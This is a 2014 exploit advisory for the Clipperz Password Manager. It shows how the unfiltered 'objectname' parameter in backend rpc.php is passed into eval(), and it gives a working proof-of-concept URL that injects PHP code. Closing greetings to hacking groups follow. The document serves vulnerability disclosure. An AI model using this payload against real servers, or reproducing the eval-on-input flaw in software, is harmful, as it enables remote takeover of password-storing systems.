########################################
# Exploit Title : Clipperz Password Manager remote code execution vulnerability
# Author : Manish Kishan Tanwar
# Vendor : https://clipperz.is/open_source/clipperz_password_manager/
# Download Link : https://codeload.github.com/clipperz/password-manager/zip/master
# Date : 19/05/2014
#Discovered @ : INDISHELL Lab
# Love to : zero cool,Team indishell,Hardeep Singh
#######################################
////////////////////////
/// Overview:
////////////////////////
Clipperz Password Manager script is affected from remote code execution Vulnerabilities.
///////////////////////////////
// Vulnerability Description:
///////////////////////////////
there is remote code execution flaw in Clipperz Password Manager script, because it does not checking user user inputs before final processing.
Input passed via the "objectname" parameter to "password-manager-master/backend/php/src/setup/rpc.php" is not properly verified before it is give to server for processing. This can be exploited to execute php code.
//////////////////////////////
/// Proof of Concept: -
//////////////////////////////
vulnerability arises because of following code in file rpc.php
at line number
15. $objectName = isset($_REQUEST['objectname']) ? $_REQUEST['objectname'] : '';
37. eval ('$instance = new '.$objectName.'();');
value in objectname parameter is not getting filter before using it at line number 37 and user input is getting eval which is causing remote code execution vulnerability.
/////////////////////////
/// example exploit
////////////////////////
http://127.0.0.111/password-manager-master/backend/php/src/setup/rpc.php?objectname=Xmenu();print_r(php_uname());die
--==[[ Greetz To ]]==--
##########################################
#Guru ji zero ,code breaker ica, root_devil, google_warrior,INX_r0ot,Darkwolf indishell,Baba,
#Silent poison India,Magnum sniper,Atul Dwivedi ethicalnoob Indishell,Local root indishell,
#Irfninja indishell,Reborn India,L0rd Crus4d3r,cool toad,cool shavik,Hackuin,Alicks,Ebin V Thomas
#Dinelson Amine,Th3 D3str0yer,SKSking,Mr. Trojan,rad paul,Godzila,mike waals,zoozoo,
#The creator,cyber warrior,Neo hacker ICA,Suriya Prakash, cyber gladiator,Cyber Ace,
#Golden boy INDIA,Ketan Singh,Yash,Aneesh Dogra,AR AR,saad abbasi,hero,Minhal Mehdi ,Raj bhai ji ,
#Hacking queen,lovetherisk,brown suger and rest of TEAM INDISHELL
#########################################
--==[[Love to]]==--
# My Father ,my Ex Teacher,cold fire hacker,Mannu, ViKi ,Ashu bhai ji,Soldier Of God, Bhuppi,
#Mohit,Ffe,Ashish,Shardhanand,Budhaoo,Anju Gulia,Don(Deepika kaushik) and acche bacchi(Jagriti)
--==[[ Special Fuck goes to ]]==--
<3 suriya Cyber Tyson <3